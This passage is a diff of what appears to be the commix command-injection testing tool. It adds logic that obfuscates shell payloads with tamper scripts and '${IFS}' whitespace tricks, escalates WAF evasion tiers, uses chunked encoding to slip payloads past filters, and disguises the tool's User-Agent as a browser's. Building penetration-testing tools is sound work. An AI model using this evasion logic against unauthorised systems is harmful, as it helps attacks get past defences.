+ settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace)
+ """
+ A pipe proves the injection but cannot carry the retrieval, where the substitution in use holds
+ no second one inside it.
+
+ Measuring a command's own output means putting the command inside the expression that counts it,
+ which backticks cannot express without escaping every inner pair. Counting the pipeline instead
+ would count the newline the other spelling drops, and the retrieval indexes by that count - so it
+ is left alone and said out loud rather than answered with nothing and no reason given.
+ """
+ if (separator in ("|", "||") and not substitution_nests()
+ and not settings.PIPE_RETRIEVAL_NOTICE_GIVEN):
+ settings.PIPE_RETRIEVAL_NOTICE_GIVEN = True
+ warn_msg = "The pipe this finding was confirmed on cannot carry the retrieval of a command's "
+ warn_msg += "output while the payload is written with backticks, so execution is proved but "
+ warn_msg += "nothing is read back through it. Another substitution reaches both."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ if whitespace and settings.WHITESPACES and settings.WHITESPACES[0] != whitespace:
+ settings.WHITESPACES = [whitespace] + [_ for _ in settings.WHITESPACES if _ != whitespace]
+
+"""
+Undo a per-character obfuscation (obf_char inserted before each letter) on any whole word that settings.IGNORE_TAMPER_TRANSFORMATION says must survive intact (e.g. shell keywords like 'if'/'then').
+"""
+def tamper_restore_ignored_words(payload, obf_char):
+ for word in sorted(settings.IGNORE_TAMPER_TRANSFORMATION, key=len, reverse=True):
+ obf_word = "".join(obf_char + char if re.match(settings.TAMPER_MODIFICATION_LETTERS, char) else char for char in word)
+ if obf_word != word and obf_word in payload:
+ payload = payload.replace(obf_word, word)
+ whitespace = current_whitespace()
+ pattern = r"\b(for|read)" + re.escape(whitespace) + r"((?:" + re.escape(obf_char) + r")?\w(?:(?:" + re.escape(obf_char) + r")?\w)*)"
+ return re.sub(pattern, lambda x: x.group(1) + whitespace + x.group(2).replace(obf_char, ""), payload)
+
+"""
+Apply a letter-modification regex only outside double-quoted spans (Windows/cmd.exe only) -
+caret (and similar per-letter escapes) has no effect inside double quotes, so applying it there
+just corrupts literal quoted text (e.g. "tokens=*", "powershell.exe ...") instead of obfuscating it.
+"""
+def tamper_modify_letters_outside_quotes(payload, repl):
+ parts = re.split(r'("[^"]*")', payload)
+ return "".join(part if part.startswith('"') else re.sub(settings.TAMPER_MODIFICATION_LETTERS, repl, part) for part in parts)
+
+"""
+Apply "transform" outside single-quoted spans only - single quotes suppress expansion, so anything injected there stays literal and corrupts the argument.
+"""
+def tamper_outside_single_quotes(payload, transform):
+ # cmd.exe gives a single quote no meaning of its own, so a span in them is not a literal to be
+ # left alone - the whitespace inside a 'for /f' command would go out unencoded.
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ return transform(payload)
+ parts = re.split(r"('[^']*')", payload)
+ return "".join(part if part.startswith("'") else transform(part) for part in parts)
+
+# A quoted span, and inside a double-quoted one what is still code rather than part of the literal.
+TAMPER_QUOTED_SPAN = r"""('[^']*'|"[^"]*")"""
+TAMPER_QUOTED_CODE = re.compile(r"\$\((?P[^()]*)\)|`(?P[^`]*)`")
+
+"""
+Apply "transform" to everything but the text a quote makes a literal of.
+
+'tamper_outside_single_quotes' leaves a double-quoted span to be rewritten, which is right for a
+substitute the shell reads back as the character it replaced. A whitespace one is not among those:
+'${IFS}' written between two words is the gap between them, while the same thing written between
+two words of a double-quoted literal is three characters of that literal - so a request line built
+as "GET /x HTTP/1.0" arrives as something no server is going to answer. The literal is left to
+itself here, and only the substitutions inside it are walked, each being a payload of its own.
+
+Only the payload's own quotes are read that way. A boundary's quote answers one the application
+opened, so the span it appears to open runs the other way round - what is inside it is the shell's
+code and what is outside is the application's string - and pairing it with one of the payload's own
+would read both backwards. The two ends are held aside first, by what 'PAYLOAD_EDGES' was last told
+they are, and rewritten on their own.
+"""
+def tamper_outside_quoted_text(payload, transform):
+ # cmd.exe gives a single quote no meaning of its own, for the reason given just above.
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ return transform(payload)
+ opening, closing = settings.PAYLOAD_EDGES
+ # Held aside only while they are still there to recognise: a script that has already rewritten
+ # one of the two ends has made the payload something this cannot take apart, and the walk below
+ # is what the whole of it gets.
+ if (opening or closing) and payload.startswith(opening) and payload.endswith(closing) and \
+ len(payload) > len(opening) + len(closing):
+ return transform(opening) + \
+ tamper_outside_quoted_text(payload[len(opening):len(payload) - len(closing)], transform) + \
+ transform(closing)
+ parts = re.split(TAMPER_QUOTED_SPAN, payload)
+ # Alternating: what the split was made on lands on the odd positions, the text between on the even.
+ for index, part in enumerate(parts):
+ if index % 2 == 0:
+ parts[index] = transform(part)
+ elif part.startswith("\""):
+ parts[index] = TAMPER_QUOTED_CODE.sub(lambda match: _tamper_quoted_code(match, transform), part)
+ return "".join(parts)
+
+# One substitution out of a double-quoted literal, walked by the same rules as the payload around
+# it - a quote of its own inside it is a quote like any other, and is held to itself the same way.
+def _tamper_quoted_code(match, transform):
+ if match.group("substitution") is not None:
+ return "$(" + tamper_outside_quoted_text(match.group("substitution"), transform) + ")"
+ return "`" + tamper_outside_quoted_text(match.group("backticks"), transform) + "`"
+
+# A whitespace substitute that is only a separator once the shell has expanded it ('${IFS}',
+# '$IFS$9'), as against one that is a separator character in its own right (a tab, a '%20').
+TAMPER_EXPANDED_BLANK = "$"
+# What stands in for one of those where it would not be read as the gap it is written for. A tab is
+# settled as that gap at the point a keyword is, before anything expands, and is still not the
+# space whichever filter the substitute is there for took away.
+TAMPER_PARSED_BLANK = "\t"
+# A command's own assignments, which such a substitute cannot be written after: the words of an
+# assignment are the one place a shell does no field splitting, so what expands to a separator
+# there is read as more of the value rather than as the end of it. A substitution opens a word of
+# its own, so a value reaching into one is not this - what follows it is split as usual.
+TAMPER_ASSIGNMENTS = re.compile(r"(?:\A|[;&|`\n(])(?:\s*[A-Za-z_]\w*=[^\s;&|`\n()]*)+\Z")
+
+def tamper_blank_allowed(blank, part, start, end):
+ """
+ Whether a whitespace substitute written where this one is would be read as the gap it stands for.
+
+ A separator character of its own always is. An expansion is one only where the shell splits what
+ it expanded, and there are three places it does not: beside a keyword, which is settled off the
+ word as written and so is no keyword at all once something expands next to it; after a command's
+ own assignments, whose words are not split; and, for '$IFS$9', in front of a digit, which the
+ shell reads together with the '$9' as one longer - and equally empty - parameter.
+ """
+ if not blank.startswith(TAMPER_EXPANDED_BLANK):
+ return True
+ before = re.search(r"(\w+)\Z", part[:start])
+ after = re.match(r"\A(\w+)", part[end:])
+ if (before and before.group(1) in settings.SHELL_KEYWORDS) or \
+ (after and after.group(1) in settings.SHELL_KEYWORDS):
+ return False
+ if TAMPER_ASSIGNMENTS.search(part[:start]):
+ return False
+ return not (blank.endswith("$9") and after and after.group(1)[:1].isdigit())
+
+# Every space in one span of shell code written as the substitute, bar where that one would not be
+# read as the gap it stands for and a tab is written instead.
+def tamper_blanks(part, blank):
+ return re.sub(re.escape(settings.SINGLE_WHITESPACE),
+ lambda match: blank if tamper_blank_allowed(blank, part, match.start(), match.end())
+ else TAMPER_PARSED_BLANK, part)
+
+"""
+Interleave obf_char before each tamper-modification-letter match (Unix-only) - the shared logic behind backslashes/dollaratsigns/singlequotes.
+"""
+def interleave_char_tamper(payload, obf_char):
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ return payload
+ payload = tamper_outside_single_quotes(payload, lambda part: re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], part))
+ return tamper_restore_ignored_words(payload, obf_char)
+
+# Spans a shell-span transformation must not reach into, held aside while the payload is rewritten.
+SHELL_SPAN_HELD = "\x00%d\x00"
+SHELL_SPAN_HELD_REGEX = r"\x00(\d+)\x00"
+
+# A name the shell assigns to rather than reads: it is spelled out or it is not a name at all. The
+# separator is whatever the payload was built with, a held-aside '${IFS}' among it.
+TAMPER_ASSIGNED_NAME = r"\b(?:for|read)(?:\s|" + SHELL_SPAN_HELD_REGEX + r")*$"
+
+def tamper_shell_feature_note():
+ """
+ What a run that found nothing was asking of the target's shell, where it asked for more than a
+ plain one has. Such a target answers exactly as an unaffected one does, so nothing else in the
+ run distinguishes "not injectable" from "not injectable the way this script needs".
+ """
+ applied = sorted(name for name in settings.SHELL_FEATURE_TAMPERS if settings.TAMPER_SCRIPTS.get(name))
+ if not applied:
+ return ""
+ needs = " and ".join("'" + name + "' needs " + settings.SHELL_FEATURE_TAMPERS[name] for name in applied)
+ plural = len(applied) > 1
+ return (" The tamper script" + ("s in use ask" if plural else " in use asks") + " more of the shell than a "
+ "strict POSIX one has (" + needs + "), and a target without it answers as if nothing were injectable.")
+
+def tamper_rewrite_user_command(payload, tamper_name):
+ """
+ The user's command as every script that rewrites it leaves it, written into the payload once.
+
+ Each of these used to reach back to the untouched payload when it could not find the command
+ where it expected it, which is what happens the moment another one has already rewritten it -
+ so whichever ran second threw the first one's work away and they could not be combined. The
+ chain is built here instead, in the order the scripts are listed, and only the first of them
+ still running writes it in; the rest find their own work already done.
+ """
+ rewriters = [name for name in settings.COMMAND_REWRITERS if settings.TAMPER_SCRIPTS.get(name)]
+ if not rewriters or rewriters[0] != tamper_name:
+ return payload
+ command = settings.USER_APPLIED_CMD
+ for name in rewriters:
+ command = importlib.import_module(tamper_module_path(name)).rewrite_command(command)
+ if command == settings.USER_APPLIED_CMD:
+ return payload
+ source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD
+ if settings.USER_APPLIED_CMD in source:
+ payload = source.replace(settings.USER_APPLIED_CMD, command)
+ # The substitute goes back on what the command was written into, and on the same terms the
+ # request itself puts it on: a quoted literal is the string the payload meant to send, not a
+ # place where one word ends and the next begins.
+ if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] != settings.SINGLE_WHITESPACE:
+ rewrite = (tamper_outside_single_quotes if settings.WHITESPACES[0] in settings.DECODED_WHITESPACES
+ else tamper_outside_quoted_text)
+ payload = rewrite(payload, lambda part: tamper_blanks(part, settings.WHITESPACES[0]))
+ return payload
+
+def tamper_word_kept(word, preceding=""):
+ """
+ Whether a word has to reach the target spelled exactly the way the payload wrote it.
+
+ A POSIX shell decides what is a keyword before it takes any quoting off, so a keyword spelled
+ any other way arrives as a plain word and the payload loses the loop or the branch it was built
+ around. The same goes for a name being assigned to, which is why what comes before the word is
+ worth passing in. Windows needs none of this - cmd.exe takes its carets off first, and reads
+ what is left as the keyword it is - which is why every caller here is a Unix-only script.
+ """
+ if word in settings.IGNORE_TAMPER_TRANSFORMATION:
+ return True
+ return bool(re.search(TAMPER_ASSIGNED_NAME, preceding))
+
+def tamper_shell_spans(payload, transform, nested=False, literal=False):
+ """
+ Hand each span of the payload that the shell reads as code to "transform", innermost first.
+
+ A script rewriting shell syntax has to know which parts of a payload are shell syntax. Single
+ quotes suppress everything inside them; double quotes suppress all but a substitution, which is
+ a payload of its own and is walked by the same rules before being held aside as one word.
+ Arithmetic and parameter expansions are held aside whole - they carry no command, but they do
+ carry the brackets and comparisons a transformation is apt to mistake for punctuation of its own.
+
+ "transform" is called as transform(text, nested), where "nested" says whether the start of the
+ text is a command position - true inside a substitution, false at the top level, where what
+ comes first is the parameter's own value rather than a command.
+ """
+ parts, held, index = [], [], 0
+ while index < len(payload):
+ if payload.startswith("$((", index) or payload.startswith("${", index):
+ opening, closing = ("(", ")") if payload[index + 1] == "(" else ("{", "}")
+ # Counted rather than searched for: one expansion nests inside another in the payloads that
+ # take a string apart a character at a time, and the first close there ends the inner one.
+ depth, end = 0, index + 1
+ while end < len(payload):
+ if payload[end] == opening:
+ depth += 1
+ elif payload[end] == closing:
+ depth -= 1
+ if depth == 0:
+ break
+ end += 1
+ end = min(end, len(payload) - 1)
+ parts.append(SHELL_SPAN_HELD % len(held))
+ held.append(payload[index:end + 1])
+ index = end + 1
+ elif payload.startswith("$(", index):
+ depth, end = 1, index + 2
+ while end < len(payload) and depth:
+ if payload[end] == "(":
+ depth += 1
+ elif payload[end] == ")":
+ depth -= 1
+ end += 1
+ parts.append(SHELL_SPAN_HELD % len(held))
+ held.append("$(" + tamper_shell_spans(payload[index + 2:end - 1], transform, nested=True) + ")")
+ index = end
+ elif payload[index] in ("`", "'", "\""):
+ quote = payload[index]
+ end = payload.find(quote, index + 1)
+ end = len(payload) if end == -1 else end
+ inner = payload[index + 1:end]
+ # Double quotes do not stop a substitution being code of its own, so the walk goes on inside
+ # them - but the text around it is a literal, and is left to itself. Single quotes stop both.
+ if quote == "`":
+ inner = tamper_shell_spans(inner, transform, nested=True)
+ elif quote == "\"":
+ inner = tamper_shell_spans(inner, transform, nested=True, literal=True)
+ parts.append(SHELL_SPAN_HELD % len(held))
+ held.append(quote + inner + quote)
+ index = end + 1
+ else:
+ parts.append(payload[index])
+ index += 1
+ walked = "".join(parts)
+ if not literal:
+ walked = transform(walked, nested)
+ return re.sub(SHELL_SPAN_HELD_REGEX, lambda x: held[int(x.group(1))], walked)
+
+"""
+Whether a substitution written with backticks is one the target could even be asked about.
+
+Only where the substitution is the shell's to make: 'cmd.exe' has no backtick, and an interpreter
+is handed a program rather than a shell line. And only while the scripts in use are ours to choose.
+"""
+def may_retry_through_backticks():
+ return not menu.options.interpreter and settings.TARGET_OS != settings.OS.WINDOWS and \
+ not (settings.USER_APPLIED_TAMPER or menu.options.tamper) and \
+ "backticks" not in settings.MULTI_ENCODED_PAYLOAD
+
+"""
+Whether to ask the target the same question again with the substitution written as backticks.
+
+Every command substitution written here is opened with '$', the heuristic's own probe included, and
+so is the '${IFS}' a filtered whitespace is first worked around with - so a single filter on that
+one character refuses all of them, and what gets reported is a parameter that is not injectable
+rather than one that was asked the wrong way. A backtick opens the same substitution and is a
+different character.
+
+Asked once and held for the run, the way the other retry consents are: what is being answered is
+whether another pass around an obstacle is worth its cost at all, which is the same answer for
+every target.
+"""
+def backtick_retry_consent():
+ if settings.BACKTICK_RETRY_CHOICE is None:
+ message = "Do you want " + settings.APPLICATION + " to try again in case a dollar sign ('$') is being "
+ message += "filtered (e.g. by using a tamper script that substitutes through backticks instead)? [Y/n] "
+ settings.BACKTICK_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO
+ return settings.BACKTICK_RETRY_CHOICE
+
+"""
+Whether to answer the detected WAF/IPS with evasion, asked once and kept for the rest of the run.
+A tamper script provided by the user is left alone - the combination is their call, not ours.
+"""
+def waf_evasion_consent():
+ if settings.WAF_EVASION_CONSENT is None:
+ # The evasion is only ours to choose while the user has not chosen one of their own.
+ if not settings.WAF_ENABLED or menu.options.skip_waf or settings.USER_APPLIED_TAMPER or menu.options.tamper:
+ return False
+ message = "Do you want " + settings.APPLICATION + " to try bypassing it? [Y/n] "
+ settings.WAF_EVASION_CONSENT = common.read_input(message, default="Y", check_batch=True).lower() != "n"
+ # Answered here or in the run this one was resumed from - either way, what the request says about
+ # itself is the first thing to answer, and is answered once.
+ if settings.WAF_EVASION_CONSENT:
+ neutralize_request_fingerprint()
+ return settings.WAF_EVASION_CONSENT
+
+"""
+A browser's User-Agent, drawn from the list switch '--random-agent' reads.
+"""
+def random_user_agent():
+ return random.choice(common.load_list_from_file(settings.USER_AGENT_LIST, "user-agent list"))
+
+"""
+Take this tool's name off the request itself, once the protection in front of the target is being
+answered. A filter reading the "User-Agent" has already settled what to do with the request before
+anything it carries is looked at, so no amount of rewriting the payload is an answer to one.
+
+What the user settled themselves is left alone, and so is a header the parameter is being injected
+through: the rest of the fingerprint is then left to match whatever that says.
+"""
+def neutralize_request_fingerprint():
+ if settings.WAF_EVASION_FINGERPRINT_APPLIED:
+ return False
+ if settings.USER_AGENT_INJECTION or menu.options.requestfile or menu.options.logfile or \
+ menu.options.agent != settings.DEFAULT_USER_AGENT:
+ return False
+ settings.WAF_EVASION_FINGERPRINT_APPLIED = True
+ settings.BROWSER_LIKE_HEADERS = True
+ menu.options.agent = random_user_agent()
+ info_msg = "Making the request read as a browser's, so it does not name " + settings.APPLICATION + " itself."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "The HTTP " + settings.USER_AGENT + " header value is '" + menu.options.agent + "'."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ return True
+
+"""
+Frame the payload as chunks, which hides it from a filter without changing what the target
+receives. This says nothing about the target's operating system, so it can be used right away.
+"""
+def apply_waf_transport_evasion():
+ if menu.options.chunked or not settings.USER_DEFINED_POST_DATA or not waf_evasion_consent():
+ return False
+ menu.options.chunked = True
+ settings.WAF_EVASION_APPLIED = "chunked"
+ # Persistent connections cannot carry a chunked body, so that choice has to be revisited.
+ init_keep_alive()
+ info_msg = "Turning on chunked transfer-encoding, to get the payload past it."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ return True
+
+"""
+Turn on the tamper scripts that suit the target, once its operating system is known.
+"""
+def waf_evasion_profiles():
+ return settings.WAF_EVASION_PROFILE["windows" if settings.TARGET_OS == settings.OS.WINDOWS else "unix"]
+
+# Turn on the tamper scripts that a blocked payload calls for.
+def apply_waf_evasion():
+ if menu.options.tamper or not waf_evasion_consent():
+ return
+
+ profile = waf_evasion_profiles()[settings.WAF_EVASION_TIER]
+ menu.options.tamper = profile
+ settings.WAF_EVASION_APPLIED = (settings.WAF_EVASION_APPLIED + "," + profile).strip(",")
+ # The combination was chosen on purpose here, so the warning about their number does not apply.
+ settings.TAMPER_WARNING_SHOWN = True
+ info_msg = "Turning on the tamper scripts that suit the target, to get the payload past it."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+"""
+Step the evasion up a tier, when what is already tampered is still being blocked.
+"""
+def escalate_waf_evasion(on_block=True):
+ if not settings.WAF_EVASION_APPLIED or not settings.WAF_EVASION_CONSENT:
+ return False
+ # A blocked response is counted, while techniques having run out speaks for itself.
+ if on_block:
+ settings.WAF_BLOCKS_SINCE_EVASION += 1
+ if settings.WAF_BLOCKS_SINCE_EVASION < settings.WAF_ESCALATION_THRESHOLD:
+ return False
+
+ profiles = waf_evasion_profiles()
+ if settings.WAF_EVASION_TIER + 1 >= len(profiles):
+ return False
+
+ settings.WAF_BLOCKS_SINCE_EVASION = 0
+ settings.WAF_EVASION_TIER += 1
+ profile = profiles[settings.WAF_EVASION_TIER]
+ menu.options.tamper = profile
+ # The scripts in use are rebuilt from scratch, so the ones being replaced are not kept on.
+ settings.MULTI_ENCODED_PAYLOAD = []
+ # A whitespace-mutating tamper from the tier being replaced (e.g. 'space2ifs') claims
+ # 'WHITESPACES[0]' for itself and keeps it - the new tier's own one (e.g. 'space2htab') only
+ # takes that slot when it still holds the plain space, so left alone it just appends behind
+ # the stale, still-blocked substitute instead of replacing it.
+ settings.WHITESPACES = [settings.SINGLE_WHITESPACE]
+ settings.WAF_EVASION_APPLIED = ("chunked," if menu.options.chunked else "") + profile
+ settings.WAF_EVASION_ESCALATED = True
+ warn_msg = "What is already tampered is still being blocked, so stepping the evasion up a tier."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ # Said after the reason for it and named the way '--tamper' names its own.
+ tamper_scripts(stored_tamper_scripts=False)
+ return True
+
+"""
+Take back every tamper script this run adopted on its own, leaving the ones '--tamper' named.
+
+Rebuilt from scratch rather than removed one by one, the way an evasion tier that replaces another
+is: a whitespace-mutating script holds 'WHITESPACES[0]' for as long as it is in use, and dropping
+the script without putting the plain space back leaves every payload built afterwards carrying a
+substitute nothing is applying any more.
+"""
+def drop_auto_tampers():
+ """
+ The whitespace a parameter was proved through is put back behind the plain space as well.
+
+ 'confirm_boundary' moves whatever worked to the front of the list, which is worth leading with for
+ the rest of that parameter and worth nothing on the next one - left there, every parameter after
+ it is asked through a substitute the target may well have filtered before the plain space is tried
+ at all. Put back, the next parameter starts from the plain space as this one did.
+ """
+ if settings.WHITESPACES and settings.WHITESPACES[0] != settings.SINGLE_WHITESPACE and \
+ not (settings.USER_APPLIED_TAMPER or menu.options.tamper) and not settings.LOAD_SESSION:
+ settings.WHITESPACES = [settings.SINGLE_WHITESPACE]
+ if not settings.AUTO_TAMPER:
+ return
+ for name in settings.AUTO_TAMPER:
+ if name in settings.TAMPER_SCRIPTS:
+ settings.TAMPER_SCRIPTS[name] = False
+ settings.AUTO_TAMPER = []
+ settings.MULTI_ENCODED_PAYLOAD = []
+ settings.WHITESPACES = [settings.SINGLE_WHITESPACE]
+ tamper_scripts(stored_tamper_scripts=True)
+
+"""
+Tamper script checker
+"""
+def tamper_scripts(stored_tamper_scripts):
+ # A stored session may still name the scripts by their old names, as may the command line.
+ absorb_encoding_tampers()
+ if menu.options.tamper or settings.AUTO_TAMPER:
+ provided_scripts = validate_tamper_scripts()
+ priorities = {}
+ for script in provided_scripts:
+ # Announced where it is loaded, not every time the list is read back: a pass that adopts one
+ # more script re-reads the ones already in use, and saying so again reads as the same script
+ # being loaded over and over.
+ newly_loaded = script not in settings.MULTI_ENCODED_PAYLOAD
+ if newly_loaded:
+ settings.MULTI_ENCODED_PAYLOAD.append(script)
+ if not stored_tamper_scripts and newly_loaded:
+ info_msg = "Loading tamper module '" + script + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ try:
+ module = importlib.import_module(tamper_module_path(script))
+ except (ImportError, ValueError):
+ continue
+ if not hasattr(module, "__tamper__"):
+ err_msg = "Missing variable '__tamper__' "
+ err_msg += "in tamper script '" + script + "'."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ priorities[script] = getattr(module, "__priority__", settings.PRIORITY.NORMAL)
+ warn_msg = module.dependencies() if hasattr(module, "dependencies") else None
+ if warn_msg:
+ # Always warn and drop incompatible scripts, including resumed techniques.
+ settings.print_once(warn_msg)
+ if script in settings.MULTI_ENCODED_PAYLOAD:
+ settings.MULTI_ENCODED_PAYLOAD.remove(script)
+ elif hasattr(module, "declare"):
+ """
+ A script that changes how a payload is put together rather than how it reads says so now,
+ while the scripts are being settled - not when it first rewrites something.
+
+ Said then, the choice arrives one payload late: the builders read it as they build, so the
+ first payload of every boundary is put together the old way and only the ones after it
+ carry the script at all. Which is the one payload a target is first judged on.
+ """
+ module.declare()
+
+ # Respect each tamper script's declared execution tier; offer to auto-sort conflicting --tamper order.
+ current_order = [script for script in settings.MULTI_ENCODED_PAYLOAD if script in priorities]
+ sorted_order = sorted(current_order, key=lambda script: -priorities[script])
+ if current_order != sorted_order:
+ warn_msg = "It appears that you have mixed the order of the provided tamper scripts. "
+ warn_msg += "Do you want to auto resolve this? [Y/n] "
+ if common.read_input(warn_msg, default="Y", check_batch=True).lower() != "n":
+ settings.MULTI_ENCODED_PAYLOAD = sorted_order + [script for script in settings.MULTI_ENCODED_PAYLOAD if script not in priorities]
+
+ # Using too many tamper scripts is usually not a good idea. :P
+ #
+ # Counted over the ones '--tamper' named, not the ones this run reached for behind a filter: the
+ # advice is to drop a script, which is only advice where choosing them was the user's to make.
+ # Said against a combination commix put together itself, it reads as a warning about a decision
+ # they did not take and cannot act on.
+ user_scripts = [script for script in provided_scripts if script not in settings.AUTO_TAMPER]
+ warn_needed = False
+ if len(user_scripts) >= 3 and not settings.LOAD_SESSION:
+ warn_msg = "Using too many tamper scripts "
+ warn_needed = True
+ elif len([x for x in user_scripts if any(y in x for y in ["nested", "doublequotes"])]) == 2 and not settings.LOAD_SESSION:
+ warn_needed = True
+ warn_msg = "The combination of the provided tamper scripts "
+ if warn_needed and not settings.TAMPER_WARNING_SHOWN:
+ settings.TAMPER_WARNING_SHOWN = True
+ warn_msg += "is not a good idea (may cause false positive / negative results)."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+ # What the payloads print with follows the script that trades the two names rather than being
+ # remembered from when it was taken up. A script is dropped again where the target turns out not
+ # to meet what it asks of it, and the ones commix reached for itself are given back between one
+ # parameter and the next - and either way what was remembered went on printing with 'echo' for
+ # payloads nothing was asking it of, on a run whose scripts no longer said so.
+ settings.PRINT_WITH_ECHO = settings.PRINTF_TO_ECHO_TAMPER in settings.MULTI_ENCODED_PAYLOAD
+
+"""
+Enable a tamper script by name, skipping duplicates.
+"""
+def _enable_tamper_script(tamper_name):
+ if settings.TAMPER_SCRIPTS[tamper_name]:
+ return
+ provided = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) if menu.options.tamper else []
+ if tamper_name in provided or tamper_name in settings.AUTO_TAMPER:
+ return
+ settings.AUTO_TAMPER.append(tamper_name)
+
+"""
+Check for modified whitespaces.
+"""
+def whitespace_check(payload):
+
+ present = []
+ # As they appear in a payload now: written out, and encoded only on the way to the wire.
+ whitespaces = ["${IFS}", "+", "\t", "\v", " "]
+ for whitespace in whitespaces:
+ if whitespace in payload:
+ present.append(whitespace)
+
+ # Enable the "space2ifs" tamper script.
+ if "${IFS}" in present:
+ _enable_tamper_script('space2ifs')
+ settings.WHITESPACES[0] = "${IFS}"
+
+ # Enable the "space2plus" tamper script.
+ elif "+" in present and payload.count("+") >= 2:
+ _enable_tamper_script('space2plus')
+ settings.WHITESPACES[0] = "+"
+
+ # Enable the "space2htab" tamper script.
+ elif "\t" in present:
+ _enable_tamper_script('space2htab')
+ settings.WHITESPACES[0] = "\t"
+
+ # Enable the "space2vtab" tamper script.
+ elif "\v" in present:
+ _enable_tamper_script('space2vtab')
+ settings.WHITESPACES[0] = "\v"
+
+ # Default whitespace
+ else :
+ settings.WHITESPACES[0] = "%20"
+
+ # Enable the "multiplespaces" tamper script.
+ count_spaces = payload.count(settings.WHITESPACES[0])
+ if count_spaces > 15:
+ if not settings.TAMPER_SCRIPTS['multiplespaces']:
+ _enable_tamper_script('multiplespaces')
+ settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2)
+
+"""
+Check for symbols (i.e. "`", "^", "$@" etc) between the characters of the generated payloads.
+"""
+def other_symbols(payload):
+ # Implemented check to replace each character in a user-supplied OS command with a random case.
+ if payload.count("|tr \"[A-Z]\" \"[a-z]\"") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS:
+ _enable_tamper_script('randomcase')
+
+ # Check for reversed (characterwise) user-supplied operating system commands.
+ if payload.count("|rev") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS:
+ _enable_tamper_script('rev')
+
+ # Check for (multiple) backticks (instead of "$()") for command substitution on the generated payloads.
+ if payload.count("`") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS:
+ _enable_tamper_script('backticks')
+
+ # Check for caret symbol
+ if payload.count("^") >= 10:
+ _enable_tamper_script('caret')
+
+ # Check for dollar sign followed by an at-sign
+ if payload.count("$@") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS:
+ _enable_tamper_script('dollaratsigns')
+
+ # Check for uninitialized variable
+ if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != settings.OS.WINDOWS:
+ _enable_tamper_script('uninitializedvariable')
+
+ # Check for environment variable value variable
+ if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS:
+ _enable_tamper_script('slash2env')
+
+"""
+Check for (multiple) added back slashes between the characters of the generated payloads.
+"""
+def check_backslashes(payload):
+ # Check for single quotes
+ if payload.count("\\") >= 15 and settings.TARGET_OS != settings.OS.WINDOWS:
+ _enable_tamper_script('backslashes')
+
+"""
+Check for quotes in the generated payloads.
+"""
+def check_quotes(payload):
+ # Check for double quotes around of the generated payloads.
+ if payload.endswith("\"") and settings.TARGET_OS != settings.OS.WINDOWS:
+ _enable_tamper_script('nested')
+
+ # Check for (multiple) added double-quotes between the characters of the generated payloads.
+ if payload.count("\"") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS:
+ _enable_tamper_script('doublequotes')
+
+ # Check for (multiple) added single-quotes between the characters of the generated payloads.
+ if payload.count("''") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS:
+ _enable_tamper_script('singlequotes')
+
+"""
+Charset matches alone do not prove encoding; require a mostly printable decoded result to confirm a real encoding.
+"""
+def decoded_text_is_plausible(text):
+ if not text:
+ return False
+ printable = sum(1 for char in text if char in string.printable and char not in "\x0b\x0c")
+ return printable / len(text) >= settings.ENCODING_PLAUSIBILITY_RATIO
+
+"""
+What a value is written in, where it is written in anything at all.
+
+Answered as the alphabet and the padding it was found with, not merely as "base64", because what is
+sent back has to be written the same way: a value that arrived in the URL-safe alphabet and comes
+back in the standard one is a value the target no longer recognises.
+
+A value counts as encoded only where decoding it and writing it out again gives back exactly what
+arrived, and where what came out reads as text. Anything less takes a word that happens to be
+spellable in the alphabet - 'deadbeef', 'password' - for an encoded one.
+"""
+def recognise_encoding(value):
+ value = (value or "").strip()
+ if len(value) < settings.ENCODING_MIN_LENGTH:
+ return None
+
+ # Hexadecimal, which is the narrower shape: every character a digit, and two of them per byte.
+ if re.match(settings.HEX_RECOGNITION_REGEX, value):
+ body = value[2:] if value[:2].lower() == "0x" else value
+ if len(body) % 2 == 0:
+ try:
+ decoded = bytearray.fromhex(body).decode(settings.DEFAULT_CODEC)
+ except (ValueError, UnicodeDecodeError):
+ decoded = None
+ if decoded and decoded_text_is_plausible(decoded):
+ return {"codec": "hex", "upper": body.upper() == body and body.lower() != body,
+ "prefixed": value[:2].lower() == "0x"}
+ return None
+
+ # Base64, in either alphabet and with the padding it happened to carry.
+ urlsafe = "-" in value or "_" in value
+ alphabet = settings.BASE64_URLSAFE_RECOGNITION_REGEX if urlsafe else settings.BASE64_RECOGNITION_REGEX
+ if not re.match(alphabet, value):
+ return None
+ """
+ Padding is only known to be dropped where the length says it must have been: a value that is a
+ whole number of groups long needed none in the first place, and writing the next one out without
+ it is how a target that pads is handed something it does not recognise.
+ """
+ padded = value.endswith("=") or len(value) % 4 == 0
+ body = value.rstrip("=")
+ # A length one past a whole group cannot be base64, padded back or not.
+ if len(body) % 4 == 1:
